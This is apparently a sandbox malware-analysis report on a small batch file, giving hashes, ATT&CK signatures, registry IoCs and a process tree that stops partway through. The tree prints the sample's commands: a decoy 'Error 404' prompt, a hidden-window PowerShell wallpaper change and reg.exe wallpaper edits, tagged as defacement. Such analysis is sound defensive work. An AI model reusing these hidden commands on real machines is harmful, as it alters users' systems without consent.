16117fb2b7e3bad188a8f24d0ff09a2e1ae194d98f555a890b16b692d458de90

Analysis

user interaction
yes
max time kernel
898s
max time network
870s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tyviurs.bat
Size 6KB
Sample260924-e5yctayfma
SHA256 16117fb2b7e3bad188a8f24d0ff09a2e1ae194d98f555a890b16b692d458de90
MD5 85ae7c1791669779a4d42cbbae471a4d
SHA1 1fc1bc6b864ce6f4f7fc67e465f2d2dd126379d4
SHA512 c12bd4960c1f9b4396cbb64c0d2248f1417dccc8ac4f99dc0c53d7c291c993321d2390eea1f78533697459e20e1acda922e78e89104f5b6da2dedff10b59a5da
SSDEEP 96:psSV3q4QIV6gEUW4QIVeCTUIpEkapH5c3QrQIV6TUdREBEZmE5tht1hC4z/vMthH:FqLrUPUdNpxIU4KZ9LzKh8DlGuP9kv
TLSH
T142E1E8659325E61E856380178C8772DBFD152731A148BC0837BECA02FD4779BC3B6398
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3584	powershell.exe
3840	powershell.exe
5088	powershell.exe
1392	powershell.exe
4360	powershell.exe
2716	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
4148	msedge.exe
4148	msedge.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg"	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_40346047\crl-set	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1007908161\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_329302262\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_985210288\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1071471705\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_544347225\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_515608229\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_751978719\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_329302262\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_265787929\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_751978719\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_329302262\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_936243655\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_515608229\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_751978719\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_985210288\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_936243655\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1007908161\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1007908161\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_985210288\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_329302262\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1610407874\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_936243655\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_515608229\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1857749399\ct_config.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1857749399\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1007908161\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_944203840\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_985210288\deny_full_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1724823527\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_936243655\v1FieldTypes.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1856600030\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_751978719\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1610407874\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1610407874\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_40346047\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_936243655\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_944203840\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1857749399\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1155859784\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1724823527\arbitration_metadata.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_515608229\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_1280214774\Sigma\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4148_265787929\well_known_domains.dll	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5960	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5868	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4828	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134346979724580225"	msedge.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{645F77B3-6EED-4454-AB56-0AE8310487C8}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{B1068FBC-DFB0-4891-A3F9-4E7B4CF54683}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2716	powershell.exe
2716	powershell.exe
4360	powershell.exe
4360	powershell.exe
5088	powershell.exe
5088	powershell.exe
3840	powershell.exe
3840	powershell.exe
3584	powershell.exe
3584	powershell.exe
1392	powershell.exe
1392	powershell.exe
3584	powershell.exe
1392	powershell.exe
3840	powershell.exe
5088	powershell.exe
5088	powershell.exe
4460	msedge.exe
4460	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4148	msedge.exe
4148	msedge.exe
4148	msedge.exe
4148	msedge.exe
4148	msedge.exe
4148	msedge.exe
4148	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4148	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5960 wrote to memory of 2716	5960	cmd.exe	90
PID 5960 wrote to memory of 4828	5960	cmd.exe	91
PID 5960 wrote to memory of 4360	5960	cmd.exe	92
PID 4360 wrote to memory of 1784	4360	powershell.exe	93
PID 1784 wrote to memory of 5008	1784	csc.exe	122
PID 5960 wrote to memory of 1364	5960	cmd.exe	95
PID 5960 wrote to memory of 5840	5960	cmd.exe	96
PID 5960 wrote to memory of 5656	5960	cmd.exe	97
PID 5960 wrote to memory of 4148	5960	cmd.exe	98
PID 4148 wrote to memory of 4264	4148	msedge.exe	99
PID 5960 wrote to memory of 3584	5960	cmd.exe	100
PID 5960 wrote to memory of 1392	5960	cmd.exe	101
PID 5960 wrote to memory of 5088	5960	cmd.exe	103
PID 5960 wrote to memory of 3840	5960	cmd.exe	104
PID 5960 wrote to memory of 776	5960	cmd.exe	105
PID 4148 wrote to memory of 5868	4148	msedge.exe	109
PID 4148 wrote to memory of 1144	4148	msedge.exe	110
PID 4148 wrote to memory of 1632	4148	msedge.exe	111
PID 4148 wrote to memory of 1144	4148	msedge.exe	110
PID 4148 wrote to memory of 1144	4148	msedge.exe	110
PID 4148 wrote to memory of 1632	4148	msedge.exe	111
PID 4148 wrote to memory of 3488	4148	msedge.exe	113
PID 4148 wrote to memory of 5464	4148	msedge.exe	114
PID 4148 wrote to memory of 3488	4148	msedge.exe	113
PID 4148 wrote to memory of 3488	4148	msedge.exe	113
PID 4148 wrote to memory of 5464	4148	msedge.exe	114
PID 4148 wrote to memory of 5464	4148	msedge.exe	114
PID 4148 wrote to memory of 4704	4148	msedge.exe	115
PID 4148 wrote to memory of 4936	4148	msedge.exe	116
PID 4148 wrote to memory of 4704	4148	msedge.exe	115
PID 4148 wrote to memory of 4704	4148	msedge.exe	115
PID 4148 wrote to memory of 4936	4148	msedge.exe	116
PID 4148 wrote to memory of 4936	4148	msedge.exe	116
PID 4148 wrote to memory of 2948	4148	msedge.exe	117
PID 4148 wrote to memory of 2948	4148	msedge.exe	117
PID 4148 wrote to memory of 2136	4148	msedge.exe	119
PID 4148 wrote to memory of 2136	4148	msedge.exe	119
PID 4148 wrote to memory of 2136	4148	msedge.exe	119
PID 4148 wrote to memory of 4848	4148	msedge.exe	121
PID 4148 wrote to memory of 4848	4148	msedge.exe	121
PID 4148 wrote to memory of 4848	4148	msedge.exe	121
PID 4148 wrote to memory of 5008	4148	msedge.exe	122
PID 4148 wrote to memory of 4984	4148	msedge.exe	123
PID 4148 wrote to memory of 5008	4148	msedge.exe	122
PID 4148 wrote to memory of 4984	4148	msedge.exe	123
PID 4148 wrote to memory of 2964	4148	msedge.exe	124
PID 4148 wrote to memory of 5480	4148	msedge.exe	125
PID 4148 wrote to memory of 5480	4148	msedge.exe	125
PID 3584 wrote to memory of 3888	3584	powershell.exe	126
PID 4148 wrote to memory of 852	4148	msedge.exe	128
PID 4148 wrote to memory of 3844	4148	msedge.exe	129
PID 4148 wrote to memory of 3844	4148	msedge.exe	129
PID 4148 wrote to memory of 5964	4148	msedge.exe	132
PID 4148 wrote to memory of 5964	4148	msedge.exe	132
PID 4148 wrote to memory of 5900	4148	msedge.exe	134
PID 4148 wrote to memory of 1488	4148	msedge.exe	135
PID 4148 wrote to memory of 2808	4148	msedge.exe	136
PID 4148 wrote to memory of 5232	4148	msedge.exe	137
PID 4148 wrote to memory of 5232	4148	msedge.exe	137
PID 4148 wrote to memory of 4280	4148	msedge.exe	141
PID 4148 wrote to memory of 4280	4148	msedge.exe	141
PID 4148 wrote to memory of 4136	4148	msedge.exe	142
PID 4148 wrote to memory of 4136	4148	msedge.exe	142
PID 4148 wrote to memory of 5792	4148	msedge.exe	143

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tyviurs.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName PresentationFramework; if([System.Windows.MessageBox]::Show('Do you want to run?','Error 404','OKCancel','Warning') -ne 'OK'){exit}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int u,int s,string p,int f);}'; [W]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\taylor.jpg', 3)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4360
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r0hwjfzi\r0hwjfzi.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES981F.tmp" "c:\Users\Admin\AppData\Local\Temp\r0hwjfzi\CSC5D55E06F6444D87A30F85FEB44F9BC.TMP"
      4⤵
      PID:5008
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\taylor.jpg" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:1364
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
  2⤵
  PID:5840
- C:\Windows\system32\rundll32.exe
  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
  2⤵
  PID:5656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=QcIy9NiBbmo
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7fff4950c188,0x7fff4950c194,0x7fff4950c1a0
    3⤵
    PID:4264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1656,i,13435085108743714832,13768075997898544558,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,10368652554386055044,9003485748216394006,262144 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:2
    3⤵
    PID:1144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2196,i,18443129741214087400,6489310592893258052,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=2840 /prefetch:13
    3⤵
    PID:1632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3576,i,5494441508031141273,17891938638859630582,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
    3⤵
    PID:3488
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,1941559259802487487,5822661129440776298,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
    3⤵
    PID:5464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,6734290257625349094,4288634141445845431,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:1
    3⤵
    PID:4704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,9630705237274823568,11530245498042379712,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:9
    3⤵
    PID:4936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3824,i,938629977573969287,16035104741937487080,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:14
    3⤵
    PID:2948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5460,i,9678031200738170053,10782235678428831098,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
    3⤵
    PID:2136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5652,i,17416262491817245505,1057149467731799435,2097152 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:1
    3⤵
    PID:4848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,10095533404948409208,1169075184148580214,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:5008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,1516894933483172156,3354491728328176502,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
    3⤵
    PID:4984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
